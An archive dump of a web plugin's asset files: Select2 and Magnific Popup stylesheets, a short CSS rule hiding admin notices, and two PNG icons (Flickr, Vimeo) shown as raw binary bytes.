.select2-selection__arrow{left:1px;right:auto}.select2-container--default.select2-container--disabled .select2-selection--single{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection--single .select2-selection__clear{display:none}.select2-container--default.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--default .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;padding-bottom:5px;padding-right:5px}.select2-container--default .select2-selection--multiple .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;height:20px;margin-right:10px;margin-top:5px;padding:1px}.select2-container--default .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;display:inline-block;margin-left:5px;margin-top:5px;padding:0}.select2-container--default .select2-selection--multiple .select2-selection__choice__display{cursor:default;padding-left:2px;padding-right:5px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove{background-color:transparent;border:none;border-right:1px solid #aaa;border-top-left-radius:4px;border-bottom-left-radius:4px;color:#999;cursor:pointer;font-size:1em;font-weight:bold;padding:0 4px}.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:hover,.select2-container--default .select2-selection--multiple .select2-selection__choice__remove:focus{background-color:#f1f1f1;color:#333;outline:none}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__display{padding-left:5px;padding-right:2px}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{border-left:1px solid #aaa;border-right:none;border-top-left-radius:0;border-bottom-left-radius:0;border-top-right-radius:4px;border-bottom-right-radius:4px}.select2-container--default[dir="rtl"] .select2-selection--multiple .select2-selection__clear{float:left;margin-left:10px;margin-right:auto}.select2-container--default.select2-container--focus .select2-selection--multiple{border:solid black 1px;outline:0}.select2-container--default.select2-container--disabled .select2-selection--multiple{background-color:#eee;cursor:default}.select2-container--default.select2-container--disabled .select2-selection__choice__remove{display:none}.select2-container--default.select2-container--open.select2-container--above .select2-selection--single,.select2-container--default.select2-container--open.select2-container--above .select2-selection--multiple{border-top-left-radius:0;border-top-right-radius:0}.select2-container--default.select2-container--open.select2-container--below .select2-selection--single,.select2-container--default.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--default .select2-search--dropdown .select2-search__field{border:1px solid #aaa}.select2-container--default .select2-search--inline .select2-search__field{background:transparent;border:none;outline:0;box-shadow:none;-webkit-appearance:textfield}.select2-container--default .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--default .select2-results__option .select2-results__option{padding-left:1em}.select2-container--default .select2-results__option .select2-results__option .select2-results__group{padding-left:0}.select2-container--default .select2-results__option .select2-results__option .select2-results__option{margin-left:-1em;padding-left:2em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-2em;padding-left:3em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-3em;padding-left:4em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-4em;padding-left:5em}.select2-container--default .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option .select2-results__option{margin-left:-5em;padding-left:6em}.select2-container--default .select2-results__option--group{padding:0}.select2-container--default .select2-results__option--disabled{color:#999}.select2-container--default .select2-results__option--selected{background-color:#ddd}.select2-container--default .select2-results__option--highlighted.select2-results__option--selectable{background-color:#5897fb;color:white}.select2-container--default .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic .select2-selection--single{background-color:#f7f7f7;border:1px solid #aaa;border-radius:4px;outline:0;background-image:-webkit-linear-gradient(top, #fff 50%, #eee 100%);background-image:-o-linear-gradient(top, #fff 50%, #eee 100%);background-image:linear-gradient(to bottom, #fff 50%, #eee 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic .select2-selection--single:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--single .select2-selection__rendered{color:#444;line-height:28px}.select2-container--classic .select2-selection--single .select2-selection__clear{cursor:pointer;float:right;font-weight:bold;height:26px;margin-right:20px}.select2-container--classic .select2-selection--single .select2-selection__placeholder{color:#999}.select2-container--classic .select2-selection--single .select2-selection__arrow{background-color:#ddd;border:none;border-left:1px solid #aaa;border-top-right-radius:4px;border-bottom-right-radius:4px;height:26px;position:absolute;top:1px;right:1px;width:20px;background-image:-webkit-linear-gradient(top, #eee 50%, #ccc 100%);background-image:-o-linear-gradient(top, #eee 50%, #ccc 100%);background-image:linear-gradient(to bottom, #eee 50%, #ccc 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFCCCCCC', GradientType=0)}.select2-container--classic .select2-selection--single .select2-selection__arrow b{border-color:#888 transparent transparent transparent;border-style:solid;border-width:5px 4px 0 4px;height:0;left:50%;margin-left:-4px;margin-top:-2px;position:absolute;top:50%;width:0}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__clear{float:left}.select2-container--classic[dir="rtl"] .select2-selection--single .select2-selection__arrow{border:none;border-right:1px solid #aaa;border-radius:0;border-top-left-radius:4px;border-bottom-left-radius:4px;left:1px;right:auto}.select2-container--classic.select2-container--open .select2-selection--single{border:1px solid #5897fb}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow{background:transparent;border:none}.select2-container--classic.select2-container--open .select2-selection--single .select2-selection__arrow b{border-color:transparent transparent #888 transparent;border-width:0 4px 5px 4px}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--single{border-top:none;border-top-left-radius:0;border-top-right-radius:0;background-image:-webkit-linear-gradient(top, #fff 0%, #eee 50%);background-image:-o-linear-gradient(top, #fff 0%, #eee 50%);background-image:linear-gradient(to bottom, #fff 0%, #eee 50%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFFFFFFF', endColorstr='#FFEEEEEE', GradientType=0)}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--single{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0;background-image:-webkit-linear-gradient(top, #eee 50%, #fff 100%);background-image:-o-linear-gradient(top, #eee 50%, #fff 100%);background-image:linear-gradient(to bottom, #eee 50%, #fff 100%);background-repeat:repeat-x;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#FFEEEEEE', endColorstr='#FFFFFFFF', GradientType=0)}.select2-container--classic .select2-selection--multiple{background-color:white;border:1px solid #aaa;border-radius:4px;cursor:text;outline:0;padding-bottom:5px;padding-right:5px}.select2-container--classic .select2-selection--multiple:focus{border:1px solid #5897fb}.select2-container--classic .select2-selection--multiple .select2-selection__clear{display:none}.select2-container--classic .select2-selection--multiple .select2-selection__choice{background-color:#e4e4e4;border:1px solid #aaa;border-radius:4px;display:inline-block;margin-left:5px;margin-top:5px;padding:0}.select2-container--classic .select2-selection--multiple .select2-selection__choice__display{cursor:default;padding-left:2px;padding-right:5px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove{background-color:transparent;border:none;border-top-left-radius:4px;border-bottom-left-radius:4px;color:#888;cursor:pointer;font-size:1em;font-weight:bold;padding:0 4px}.select2-container--classic .select2-selection--multiple .select2-selection__choice__remove:hover{color:#555;outline:none}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice{margin-left:5px;margin-right:auto}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__display{padding-left:5px;padding-right:2px}.select2-container--classic[dir="rtl"] .select2-selection--multiple .select2-selection__choice__remove{border-top-left-radius:0;border-bottom-left-radius:0;border-top-right-radius:4px;border-bottom-right-radius:4px}.select2-container--classic.select2-container--open .select2-selection--multiple{border:1px solid #5897fb}.select2-container--classic.select2-container--open.select2-container--above .select2-selection--multiple{border-top:none;border-top-left-radius:0;border-top-right-radius:0}.select2-container--classic.select2-container--open.select2-container--below .select2-selection--multiple{border-bottom:none;border-bottom-left-radius:0;border-bottom-right-radius:0}.select2-container--classic .select2-search--dropdown .select2-search__field{border:1px solid #aaa;outline:0}.select2-container--classic .select2-search--inline .select2-search__field{outline:0;box-shadow:none}.select2-container--classic .select2-dropdown{background-color:#fff;border:1px solid transparent}.select2-container--classic .select2-dropdown--above{border-bottom:none}.select2-container--classic .select2-dropdown--below{border-top:none}.select2-container--classic .select2-results>.select2-results__options{max-height:200px;overflow-y:auto}.select2-container--classic .select2-results__option--group{padding:0}.select2-container--classic .select2-results__option--disabled{color:grey}.select2-container--classic .select2-results__option--highlighted.select2-results__option--selectable{background-color:#3875d7;color:#fff}.select2-container--classic .select2-results__group{cursor:default;display:block;padding:6px}.select2-container--classic.select2-container--open .select2-dropdown{border-color:#5897fb} assets/css/magnific-popup.css000064400000016264147600277620012312 0ustar00/* Magnific Popup CSS */ .mfp-bg { top: 0; left: 0; width: 100%; height: 100%; z-index: 1042; overflow: hidden; position: fixed; background: #0b0b0b; opacity: 0.8; } .mfp-wrap { top: 0; left: 0; width: 100%; height: 100%; z-index: 1043; position: fixed; outline: none !important; -webkit-backface-visibility: hidden; } .mfp-container { text-align: center; position: absolute; width: 100%; height: 100%; left: 0; top: 0; padding: 0 8px; box-sizing: border-box; } .mfp-container:before { content: ''; display: inline-block; height: 100%; vertical-align: middle; } .mfp-align-top .mfp-container:before { display: none; } .mfp-content { position: relative; display: inline-block; vertical-align: middle; margin: 0 auto; text-align: left; z-index: 1045; } .mfp-inline-holder .mfp-content, .mfp-ajax-holder .mfp-content { width: 100%; cursor: auto; } .mfp-ajax-cur { cursor: progress; } .mfp-zoom-out-cur, .mfp-zoom-out-cur .mfp-image-holder .mfp-close { cursor: -moz-zoom-out; cursor: -webkit-zoom-out; cursor: zoom-out; } .mfp-zoom { cursor: pointer; cursor: -webkit-zoom-in; cursor: -moz-zoom-in; cursor: zoom-in; } .mfp-auto-cursor .mfp-content { cursor: auto; } .mfp-close, .mfp-arrow, .mfp-preloader, .mfp-counter { -webkit-user-select: none; -moz-user-select: none; user-select: none; } .mfp-loading.mfp-figure { display: none; } .mfp-hide { display: none !important; } .mfp-preloader { color: #CCC; position: absolute; top: 50%; width: auto; text-align: center; margin-top: -0.8em; left: 8px; right: 8px; z-index: 1044; } .mfp-preloader a { color: #CCC; } .mfp-preloader a:hover { color: #FFF; } .mfp-s-ready .mfp-preloader { display: none; } .mfp-s-error .mfp-content { display: none; } button.mfp-close, button.mfp-arrow { overflow: visible; cursor: pointer; background: transparent; border: 0; -webkit-appearance: none; display: block; outline: none; padding: 0; z-index: 1046; box-shadow: none; touch-action: manipulation; } button::-moz-focus-inner { padding: 0; border: 0; } .mfp-close { width: 44px; height: 44px; line-height: 44px; position: absolute; right: 0; top: 0; text-decoration: none; text-align: center; opacity: 0.65; padding: 0 0 18px 10px; color: #FFF; font-style: normal; font-size: 28px; font-family: Arial, Baskerville, monospace; } .mfp-close:hover, .mfp-close:focus { opacity: 1; } .mfp-close:active { top: 1px; } .mfp-close-btn-in .mfp-close { color: #333; } .mfp-image-holder .mfp-close, .mfp-iframe-holder .mfp-close { color: #FFF; right: -6px; text-align: right; padding-right: 6px; width: 100%; } .mfp-counter { position: absolute; top: 0; right: 0; color: #CCC; font-size: 12px; line-height: 18px; white-space: nowrap; } .mfp-arrow { position: absolute; opacity: 0.65; margin: 0; top: 50%; margin-top: -55px; padding: 0; width: 90px; height: 110px; -webkit-tap-highlight-color: transparent; } .mfp-arrow:active { margin-top: -54px; } .mfp-arrow:hover, .mfp-arrow:focus { opacity: 1; } .mfp-arrow:before, .mfp-arrow:after { content: ''; display: block; width: 0; height: 0; position: absolute; left: 0; top: 0; margin-top: 35px; margin-left: 35px; border: medium inset transparent; } .mfp-arrow:after { border-top-width: 13px; border-bottom-width: 13px; top: 8px; } .mfp-arrow:before { border-top-width: 21px; border-bottom-width: 21px; opacity: 0.7; } .mfp-arrow-left { left: 0; } .mfp-arrow-left:after { border-right: 17px solid #FFF; margin-left: 31px; } .mfp-arrow-left:before { margin-left: 25px; border-right: 27px solid #3F3F3F; } .mfp-arrow-right { right: 0; } .mfp-arrow-right:after { border-left: 17px solid #FFF; margin-left: 39px; } .mfp-arrow-right:before { border-left: 27px solid #3F3F3F; } .mfp-iframe-holder { padding-top: 40px; padding-bottom: 40px; } .mfp-iframe-holder .mfp-content { line-height: 0; width: 100%; max-width: 900px; } .mfp-iframe-holder .mfp-close { top: -40px; } .mfp-iframe-scaler { width: 100%; height: 0; overflow: hidden; padding-top: 56.25%; } .mfp-iframe-scaler iframe { position: absolute; display: block; top: 0; left: 0; width: 100%; height: 100%; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #000; } /* Main image in popup */ img.mfp-img { width: auto; max-width: 100%; height: auto; display: block; line-height: 0; box-sizing: border-box; padding: 40px 0 40px; margin: 0 auto; } /* The shadow behind the image */ .mfp-figure { line-height: 0; } .mfp-figure:after { content: ''; position: absolute; left: 0; top: 40px; bottom: 40px; display: block; right: 0; width: auto; height: auto; z-index: -1; box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); background: #444; } .mfp-figure small { color: #BDBDBD; display: block; font-size: 12px; line-height: 14px; } .mfp-figure figure { margin: 0; } .mfp-bottom-bar { margin-top: -36px; position: absolute; top: 100%; left: 0; width: 100%; cursor: auto; } .mfp-title { text-align: left; line-height: 18px; color: #F3F3F3; word-wrap: break-word; padding-right: 36px; } .mfp-image-holder .mfp-content { max-width: 100%; } .mfp-gallery .mfp-image-holder .mfp-figure { cursor: pointer; } @media screen and (max-width: 800px) and (orientation: landscape), screen and (max-height: 300px) { /** * Remove all paddings around the image on small screen */ .mfp-img-mobile .mfp-image-holder { padding-left: 0; padding-right: 0; } .mfp-img-mobile img.mfp-img { padding: 0; } .mfp-img-mobile .mfp-figure:after { top: 0; bottom: 0; } .mfp-img-mobile .mfp-figure small { display: inline; margin-left: 5px; } .mfp-img-mobile .mfp-bottom-bar { background: rgba(0, 0, 0, 0.6); bottom: 0; margin: 0; top: auto; padding: 3px 5px; position: fixed; box-sizing: border-box; } .mfp-img-mobile .mfp-bottom-bar:empty { padding: 0; } .mfp-img-mobile .mfp-counter { right: 5px; top: 3px; } .mfp-img-mobile .mfp-close { top: 0; right: 0; width: 35px; height: 35px; line-height: 35px; background: rgba(0, 0, 0, 0.6); position: fixed; text-align: center; padding: 0; } } @media all and (max-width: 900px) { .mfp-arrow { -webkit-transform: scale(0.75); transform: scale(0.75); } .mfp-arrow-left { -webkit-transform-origin: 0; transform-origin: 0; } .mfp-arrow-right { -webkit-transform-origin: 100%; transform-origin: 100%; } .mfp-container { padding-left: 6px; padding-right: 6px; } }assets/css/notice.css000064400000000067147600277620010647 0ustar00div.notice, div.updated, div.error{ display:none; }assets/images/flickr.png000064400000056106147600277620011316 0ustar00PNG  IHDRxsBIT|d pHYs /=tEXtSoftwarewww.inkscape.org<[IDATxUsQr4A  "*"E# **AD@:9;1qsv:ffjsQ:yg{Z_{-9?rz2O\ܤ^_G{}Ms+{{} ,&Xlab!K,Xlض4&B@6%Nx|XE?TwvRFSk/h'h:@*cbA,&Q |Qs;z?T?RO 祥r@ن&Q,fYJJc1oi)sS5Ti u+590e,P46Sty\Z;rJW+) [,Yg/B`YiLB$kxuTZFkzk/> ,-ZL4v !MUyEVk>7@`1b$QH? w9ʼn<hD?559nf4m"x1bX)ȭD_5MKձ~nӡZ )濨=$9R]wRSMۺ.5T5Kp9\䪪kTQ}lHup'hWw𡦹y,,[lOm咦H=wr_4Ͻ9:->vlػr *ڨ6$neyݣgx >S#7W$לvuJؑZmU#@`۔WtUs:֭g-',`9" k$?]7V]S$H@ڰ}-> wk bk- $rkZ##XR k\UZ.A*P37G{=AK-XN-Fdv:m,G*)v; gZ[r) \չ|J WU\wg7i묭 $V]7O}55RZ(arQU@zx1uTVֿA#]reUL(qE{YY-WXHp}@j ♘}v!F 몊Ʊ;{:MQwr]͆an@&ĪY|b@h@+:!Y07Sjګri=e>jK6a#˰QNebGVm3=)T#-7vۍn lËVRA bXzz%k=X + T&o%;.~YWr~!KQ&?&Krvtz*jXOt2@ rhcSLYߋ#˲,KwrU_@40a|KT6V)g9H;4 v=R--X`ki;W>'@lIDt˲-q\%icU% 46U9µ5+Obl$q@LӵGOʁ˸GMMΚ}[cl&t N0swxb2m@aqy2Nrǖ4,y Kgqm=jg:힏b}ފR\n= {5tVO 6 ZΉ3֟wkTVtj?alL(] 'gzL_8x"ZNHD5gJf$&8Ymu\zOQxFl>( { N5dTXɯH@:MmCs#UOj-ge:,űr/a~jgRbuX[*01 -frj5^0IBr]/ogpݴmƔ+̺UʶjWRy{q>8kuQVjvht ?vy;eT?ckLezt8G5.֧$X#jf9rUe[a?@U(St#>!'M&XuXr2rU{,6.(YM7®>Vij%xK^CT=!MV8Ǫ-g_ra͂yֽK䝭 UEĄ7-@i^UdxG-' ji:42oD8ka[Ż\1۩u97H47֞bp?ҴrYȲwKY=aۮtNХRsve!@!󰎊PCU-'sӊ‰ˑJxV@9O:1j_%TV߰j.ڼ5L8-|]Id#%.M]ZMuBﴼ>wVUɳ V1*޵74 KyE'Vq=hhg9r]Y;gT i:o;-5io ҽ{ 8ZsWgr^JrRxV0?~h~R6Iv䄛 Xqpj9/,E(]VvuU'mo% zѮ*5MKіBkQN %a*Y+T蘰\uR[Viz(ܷK%#]PTIz?@ްL3>-K|C\*BO:*YŧxD.;q=$T.G6.˅!]pLNq-T;t?N\p-v oW܄rbIa:$̐ˤx%]fsȣn:XX ^ɈlPZNJ+ܔԖ 3X" ʄx>h`hl~k&[Mtuw ˡ!i4!e?uw.#@N28\m}) Ћ:.%?uk2KC"<3h0*e?a9ԫ+@c95D3XyT7+{?Uq ױ"=RYL ["q[p+5!dq 1KŇiPNeܳ:grkp_Jg]_&\ Q /}T;A"I/zA oBGߗv׶) 48:rm@N\0J05( /՘/tf(.˵!LRe>:B/-PX=YǠ$7ޯ#BU{IP0X ctmXj{!߰\ Kx"HU\q;tX9X;1X.E<[EU64 (rpL<V;@"{4:PXY`&XNȡ{|aWHCM|_=IL4:x0`砧O5=E _bao_OQWu BTНF,ـ϶;AځrsX+J" |mqgr|OW9@Ϡ_iVd>L;Z`rt'NV/r@?ڍAP5]~ <)„|U Ba9: >YY~.lԥm@c9:@X9oPAP*& $-W}7'v}Xֻ/t  ]NۜM̓ 0@f"rujs)tUDsQq[t 6'|=m#m:wpTL$@Xj ;Yݠ#yU7飖L"@oC4T5R]߁L"@X=6GjɠiF2y^@=ΎMb?]"Ե;J H`.?>;WP-X=nݺu.km$sm/ 5MQWU3թS'vhܖ oQ6ոqc7uի]N_87AoPx_SQʫL~Ŋc{\wfϞ 6^ Ubg]÷ϭ_卭7kwc{,\ՠA׫W/7n8wYg=s7t~2vO&|(vłڕW^~Gf|cN^`)PKTתU6ɲ<@籾S;t+H{܀/(]*EVG[᷺5>XIWl߾}l Ŋ~\Kj 9dJhӞr>}YA{]ZeX$>o\~ۚoSK~n.6۸o=̹W{Y8S]+W΍;ֽv V>n{Չ;M6ͭZ SҔxAVj ş0aO BUx@dkkgnݺ%c=uιcf=>cot=o 5T1'tRvU'z__ k^U6>;찃{Dm;D 2]*\Wvmw=R}R`ޓΕJ*>q'*U38#zjÉ ]ӣGX'>,Ǩ1w0`@ /sM/7tq]II * ꝇFį]]/^ԅb+V9U(j8WQeCK PsU{/RӸnkK~\^F Rƫ:mrßU[ L`V85pK%} |/fGbGE CMs T-TV{衇Hd~5h[-:bx!}._BCz깗^z@k 7\;Ƶug`އ#Q<}Y~}{|}vO_e]ϲ(}QN.5XB|3\!q5zl:5樂0%~}wAE{ks)k+w{_طkw@am_~9&O(IjO5I` *Ι3) ˗k.ڝPApvׯ',uny73jS"# A/$}Kn |FǸr!/B|%Nt@$rɞx2|~T#T5j>f'`jhJϬ噂+ToӦ ^j89{f?*H49ԫʕ+7|7A@]L({qs4z|?9Wl?p:5 oѢEBk_cΝPT8)[vk֬!Xs.[uF܏?/䳕lpnÔeoto({nyA,y!t :QƼ*l^}!@5U˗/'8"$;}s@8W'c̹ٮ3BE _X}U+W0_^0^zk }}UDLNԩS [7 QDFݍ@DU}ߠbŊnŊe9ghPMV^\M@xIN„ ؟ 90Թ3<9Ɯ;/^ju&j7/WO؟s֨Svmj*s |oyYX== SU9r$ۼY8\; 0"YvdkB2wxZt)7?e;y ؉ߥK ŎNA>Snn,q;z(g!#r kw+WU(]fV!7,>U8 C^N;č%g/U> 27|3g}JGgh_k9r$76Z\Qu``yט7,>[$-&i7k=SιY _~92gXu;Kޚ]5>?M|ݺu/,1~6;zWrScNWen>ߴiS K^@"GZo&nj,yCϷoߞ旐CO5{K.rqfʻSdPrvcҰ@N7x1cF<\+Iak}ǸӱmΜT?V*>[|}o߾Lk+V)W+B9 7h=]K/ݎ%d_+_}o?#>Y[afǣ?j`'{4 zZ]ך5D}w۱2y X~3f mJJJ\Ŋ?9o}|t?4@> {;K.2_߲(_qLE?۪F&[ިJ[D3֗_~;KG&}ݗöh=Fy+81^>A=)SOF|~P1=z0y;;Zrߵw@W! aQG4(#>vb:0y^LE rZ*x,!;*e\2G︚5ka[K.$+7"qsD@3?;K [ЌI4’ŋ5XC rO;4x,!ͿC:2#>?_}|U\\~W&۬Y_?@ z|XBV5)#>7x 6kV)wx1 nӡکS'x,n2~~UFSg1AncZv|}@oxOa~ZjUx,n{'|ʺfթAfѢEL"'[~o`?@fOc~׻l2|,.+|}Zf몊F$b? B R*_aX&d~f"ߙ- @@ ˴mۖ; mg$MoxܭQcGvm}} E ru\b ~,v{1"h+mM>|`{_= ecƌ~Y[ްa,dK=UuX@CƿرD,5if>?-'@Z3X9__yy, -^Pǰ :']"fe/՘`C3,l5nW.@~V4,c]y) Q溲Ϥbw @.w^x!F)#|~Wm;޲e˺-p;w4@#vJ$h}]`t;~M>?K{;-pkѢ.@n7۫0 ۜ]zO*?NΝ;3lO?tܕeۜUNe|}̙Dl뮻Jߩ XvG[@3$86lkaxf?r[fWV.( p bٳgL UFBV%%%Ltm_@~F \-U?ȀϬZvmi,Y.0իOQI1{*Tp˗/':`1oڧuLVM:(ڵkGi'|2'о@~~O<ŬSNY'՚[;3 /Ͽetg@{A7R[r%Qmҥ7| =Za/r/쯶$ `̚5HQ֣G_)2nfS\%c,XѲ6! Lyj+- }uv)?^^{Y͇bS!Ԫ?a\~ 1 { SM,ip8@5 t4X֚[X =Á7ꘓ~?Vm뭷vVf&9+pBƎK( [vawH)9~ڴi8C?+4H0&vT(**5 N?@i?D;^cr[oC͘1#pέ}t&@ cv:P*O>q+W,_Ĝy;PU~=)ij @a { PGU's% :4R&+afv#hBj!'@ J իS"8[.Zy⵭^y7qαN6 9- ^z7|k4h`^-@۶m/=cLchx'@ uڦ/&䑙8p`༷WW=5߇hy8K_7n8=$@0&G< &O3 sdGYzIp 8Lڠf?Y'7"jꁓd["M۳>tA=FoPZj ;3BBCG 6V2d& y+{aފ,[ R馛k}=q =Q5w՚7qifU D-pCCSڦܲ &Jt')d8S/;4oq'#~*!)￟#6wP qk:0cX_y{e>W~}({`XjU.Pi]"?a:nz<9]-Bվ#a;\uԉƲӬ}Q%>jZ >ܭY'K6;yqFLG gsT?O?ȔefK4a6GS lK\ -VZ^|EWnPs\:F SMw[kP7}PYbvP!\A!/%ךZnhеkXYe,f&C9ij?#&ֆtkv=*-T-tc7m;Otrhki}g8_[n -h+:?F VRP7_*U}Gʐ-X tҲxT|| ɱHaO{5ɘhĝr)TTX'PM6 ~zzꠟp 6go&:wD5gND`.!oTpbi#zc;΍=վ=xW'T#qsW_}s&h^zo[|*OW!YYW ߿E'{W\˖Ꮾ3:_5#Tߕm8֛K+I)Y+$YO5K؛0+rJ6z)סC~UW!nrCn .S-\%~3T|7AC&~c+ߌ1cRYukM̖ ? ߽qٵ;]}Z-w|TdDZ܄ rm׿ {Ñoa/P^,ǎa2Q%רk3~xw9縥K>(C?Sl#I#G'7W8~@󎦸XC;X+ڋ5$vɯ5(V ڃ8S#(' ltرWsug}ݍ7NGy$Vdw饗ŋvaO<r!JcmtQZU3_%~j;eXgiXtؤ}@ @ g@ @ @ @ @ @ @ L NjH }~rg ^ja8rΜq((,F˝9/N PPXˍ;s^WW?]}q((,F˝9/To }~rg Sw }~rg 5G#>xB|??-wC_kVRI`o-w&:_ч ѾE PPXˍ;|[k Ѿh8rd>rw˩gPX ʋ;S Gh$}UUw /hNn'r_" 7l*.ԝ,~i8 ۂkA`Φ`@;?k^`p mAq-GF]h 0bS<7-d`&j7 m~rcTU]N 2k4(hGc 34^7xT(ouD${JG }4ӂ(!]/o"nGkP$[Z]E" nN,Gc9cv`ki /hPrbT yfӈ!XreArbT߷}1 #Mdh^.ţr_\KDBl4:I+4,Ŗ*raҵJ- A@@EW$Lװ\Qw9@\_U#qZ`N90g90V5~ni-~HPQ2*iHKX*P??55- R c}U? r ]~r2?Sߌ8+]=wMU3 r.f/A0`@БOYAyr_TgJwFTXAXJscjrywy41@P*'l@*&[myQ~9ol6oA&$".2Ru"]zQrO#xSMB#z)u|0>\@Vb9*(}e=ka!hnhUXnjr\GSWP"l*nDz!A%vM%!FY& =<#:]:,ҋ@'!o Zn>¼3n*:o-D4+ zW'OnfxQ,YN kc- SCcoE`#h@5emq>$!ZrZG@ vR/-MvMc@Fr崨%'{p@xU'D~qaئO"a'h_*o<6$<8uY R,ARׄ+3#(zgK0BCMM)ĺa9*_=T֣Z@#)VhfT!PxX.̿T!Laq@E~iT2F{5pM?C,IR10=*TL AנM*H4 ǰy @%/HSr")0t qa#L\d9)UkT?h ?zL('0 *XBa9rGP~d(U8[ˆE $@U~+bJ :nʅXUݳ:_,WX+{,jizqvP*fHh&THh`4TٽI88l+=jfM*')x|4ȋ5$?0 5a/#MwXnhe/T. 3W;cT V5!jTaʱ@na9!wBzMT3XF'RpG`RNu^*a&u~98>@c YnSoSNV0cy,㧠AߟyIǻ!*6j,r09rTuM }Y#JE0N~MQft7i&asc:AcE1᳴gɮ;YWXlF,wc\Ӵ{XY/JE!٢c-zϕ 'XL/̰qK]>6%:Z*t-MwWNn'ߘlRX~#Vy*Ź&y|nJW 18X;SX Rna-p]uq}]t>TXt*- Ap/8n(bvҾF[nHS0uRS"`Z X}ߧ#B{Hy9/sD $k|y KqMI)iEw]lGtTZb}UkmhZ5 ˰l1:n9 oxՉZrZq"f T}itR\6NP,&mtq5"G2&JE@&Zu]m*r+Bn> a1bqq _1ئ>jfl%ӖE"̆kǸmR ^mD0 ;SҚe"0?Ğj΁2*\oQ7NH1k-ob|;VÎ߶g.@5 m_[?涪*nNHu=vxN{>NKk0Gx)ݓ湣%n'۸,@hOm%߰Xn1=c^a.řR0?I=#NwrӲISC|bx_-gbܗhhq7cy8S_\*h%M%7wTp:O2>r;yoXNMA# #23"Ғ?ҷV bk9PO[5` XXY7o1bLO33=R01ګL9_IMK;bD\7bbtn̬Ƚ0R0/D[LMz-r*'$}`h0כbb V>ʚ-)t;[.ls7l0{S P0X̳W6|Yz3}?@ 499M+kPZS mv ^fqkQc$qߞ?9+JE@98B;%Sbso^#3.nb2i׌r";wPxA3r*nvwC=#gNBff+,fXb$U n}3y{s Cs&>6l3{TxiGʩ4RNJQkC}mZzil~U`,S r^{6[:y\ t7s4\*x;B;pT0hs)@Vc1b'Y^|fj<'si.Tx"#%7x}gU&iO]2]/,jk:/XykBK7yW/|Xhؾ*>LSjӱ܄i6;)dUT٧m[yP/|!01+&d=i >)ΞTkG|+TTrʪx]2BZYwu"7*@D|njTMO4Qb→j=E*ڐl +y6pǏ:]boXy/-*ܽ&!4WUqB6 Zt[2Y|.r#>M}?Ww;r ^!M3պʖDQ*#99 ]S7Ac%#TX@Ֆxݔ\HVV5.rkmgUiwJx ;F}%]k܅ZTo Q7쨥n?uk{]7X5 ׎ Wʯފ\H9Ԛ]:x*nS4\7-_)HzL\&@@q#UQ%li.`পwj[H;_k{RG+5,/eڸ^J0O*\I{5|*k1\Ȋ(N۰nw:Ӵ[Or\n`עX3;woL^1A6NWX6dWƋxh.jy7ɢU4$a(D5'Vb7>jSPn7m{1j+Gp.j8..sxɶw]>n.l#?vTk!a6Pt֟WU PTT jv}}UA@2Aj?lIWV9LoK-ʓ.G YVMB|H;jy[<`AP~2\;OW d+^ZQVz?C)8 1Y=#Ps<`o5TMxc8vbj̣˰ծ1Huiqw3;V=L;s?ݤ P7V{.k#U/*yv۽o1b #,VX̰a1b-Չ@@NE=9WIENDB`assets/images/vimeo.png000064400000067475147600277620011176 0ustar00PNG  IHDRxsBIT|d pHYs B(xtEXtSoftwarewww.inkscape.org< IDATxwU; Ub׈b1k41{׈-:**Q&w3u܋/R}-<<欻bA)R%(R{Z(RqH R*iRJ!-RJ8RJ)PJ)J)T@)CZ(RqH R*iRJ!-RJ8RJ)PJ)J)T@)CZ(RqH R*iRJ!-RJ8RJ)PJ)J)T@)CZ(RqH R*iRJ!-RJ8{J)◈d-4ƔU|ccPJ)D$̀_-Я[u0 ,1ۆJ)z|w]FC -M5T90?iRjD$Տ}7F50.kB<--hR i|>u4 S@)┈F|;S ||hx@y"nk5PUtr+p8pDWoGUJ1"cLi2-" 6@poVW." \l {wz c 'W* hbz ~clXZ\`7//^@G'T 3ƬvLN@#Yg4|`J GM;\>7x |N(Z3P;Z/<8#bv0|XD)酀j"R@zEW1U~F)~3 N"ic*Q1cTSH ppi?O0l{0[ ΉHpYWqi2p1fcQAB/k>G5Z=IZĩЦ+ 